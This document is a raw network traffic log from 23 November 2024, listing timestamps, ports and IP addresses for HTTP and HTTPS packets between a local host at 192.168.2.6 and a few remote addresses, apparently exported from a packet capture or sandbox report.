Nov 23, 2024 19:52:51.919625044 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.919642925 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.919713974 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.920486927 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.920572996 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.920591116 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.920742989 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.921356916 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.921411037 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.921456099 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.921504974 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.922283888 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.922379971 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.922396898 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.922712088 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.923177958 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.923258066 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.923281908 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.923330069 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.924092054 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.924153090 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.924194098 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.924308062 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.925009012 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.925098896 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.925106049 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.925154924 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.925973892 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.925987959 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.926042080 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.926043034 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.926882982 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.926934958 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.926935911 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.926995993 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.927773952 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.927825928 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.927836895 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.927879095 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.928689003 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.928754091 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.928801060 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.928946018 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.929620028 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.929672956 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.929724932 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.929778099 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.930536032 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.930655956 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.930728912 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.931457043 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.931543112 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.931618929 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.932360888 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.932462931 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.932524920 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.933262110 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.933351040 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.933370113 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.933502913 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.934154034 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.934282064 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.934343100 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.935085058 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.935137987 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.935177088 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.935177088 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.936052084 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.936129093 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.936173916 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.936220884 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.936930895 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.936983109 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.937027931 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.937122107 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.937844038 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.937916040 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.937957048 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.938111067 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.044265985 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.044387102 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.044506073 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.044506073 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.044676065 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.044763088 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.044852972 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.044852972 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.045389891 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.045413971 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.045532942 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.045532942 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.046292067 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.046380043 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.046521902 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.046521902 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.047202110 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.047302961 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.047348022 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.047348022 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.048152924 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.048247099 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.048289061 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.048289061 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.049079895 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.049184084 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.049201012 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.049988985 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.050039053 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.050039053 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.050086021 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.050525904 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.050864935 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.050942898 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.050987005 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.050987005 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.051759005 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.052007914 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.056341887 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.056570053 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.056632996 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.056803942 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.056845903 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.056884050 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.056884050 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.057851076 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.057898998 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.057981968 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.058031082 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.058775902 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.058857918 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.058933973 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.059829950 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.059914112 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.059962034 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.059990883 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.060424089 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.060467005 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.060487986 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.060513973 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.061348915 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.061386108 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.061393976 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.061435938 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.062258959 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.062330961 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.062367916 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.062367916 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.063177109 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.063225031 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.063251972 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.063276052 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.064075947 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.064136028 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.064179897 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.064220905 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.065062046 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.065150976 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.065152884 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.065251112 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.066009045 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.066090107 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.066154957 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.066263914 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.066936970 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.067012072 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.067044020 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.067084074 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.067733049 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.067800999 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.067802906 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.068010092 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.068617105 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.068665028 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.068785906 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.068831921 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.069552898 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.069618940 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.069636106 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.069725037 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.070445061 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.070534945 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.070660114 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.070714951 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.071362019 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.071556091 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.071563005 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.071624041 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.072293997 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.072369099 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.072400093 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.072443008 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.073195934 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.073266029 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.073321104 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.100584030 CET	443	49874	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:52.100888014 CET	49874	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:52.100908995 CET	443	49874	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:52.101269960 CET	443	49874	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:52.104631901 CET	49874	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:52.104774952 CET	443	49874	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:52.146714926 CET	443	49875	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:52.147133112 CET	49875	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:52.147152901 CET	443	49875	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:52.147490978 CET	443	49875	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:52.148633957 CET	49875	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:52.148694992 CET	443	49875	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:52.175055027 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.175080061 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.175157070 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.175157070 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.175524950 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.175607920 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.175615072 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.175779104 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.176166058 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.176223040 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.176250935 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.176264048 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.177100897 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.177159071 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.177212000 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.177262068 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.178013086 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.178070068 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.178112030 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.178225040 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.178910971 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.178976059 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.179023027 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.179068089 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.179884911 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.179954052 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.179961920 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.180020094 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.180774927 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.180846930 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.180891991 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.180951118 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.181665897 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.181777954 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.181798935 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.181813002 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.182583094 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.182712078 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.182713032 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.182765961 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.183634043 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.183710098 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.183716059 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.183784962 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.184396982 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.184447050 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.184514046 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.184645891 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.185307980 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.185369968 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.185424089 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.185503960 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.186229944 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.186309099 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.186335087 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.186608076 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.187141895 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.187199116 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.187382936 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.187550068 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.188050985 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.188134909 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.188194036 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.188245058 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.188952923 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.189007998 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.189054966 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.189276934 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.189966917 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.190037966 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.190196991 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.190311909 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.190915108 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.190974951 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.190994978 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.191140890 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.191719055 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.191833973 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.191934109 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.192621946 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.192707062 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.192719936 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.192851067 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.193520069 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.193571091 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.193676949 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.193752050 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.194454908 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.194503069 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.194555998 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.194598913 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.195394993 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.195488930 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.195522070 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.195585012 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.196295023 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.196331978 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.196362972 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.196388960 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.197207928 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.197264910 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.197321892 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.197561979 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.198137045 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.198223114 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.198256016 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.198290110 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.199004889 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.199071884 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.199079037 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.199162006 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.245717049 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.245831013 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.245858908 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.245901108 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.246076107 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.246170998 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.246185064 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.246262074 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.246404886 CET	49875	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:52.246963024 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:52.247051954 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:52.262540102 CET	49885	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:52.262578011 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:52.262650967 CET	49885	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:52.262809038 CET	49886	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:52.262847900 CET	443	49886	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:52.262927055 CET	49886	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:52.263803005 CET	49886	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:52.263828039 CET	443	49886	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:52.263988018 CET	49885	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:52.264003038 CET	443	49885	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:52.307564974 CET	49874	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:52.308011055 CET	80	49831	185.215.113.206	192.168.2.6
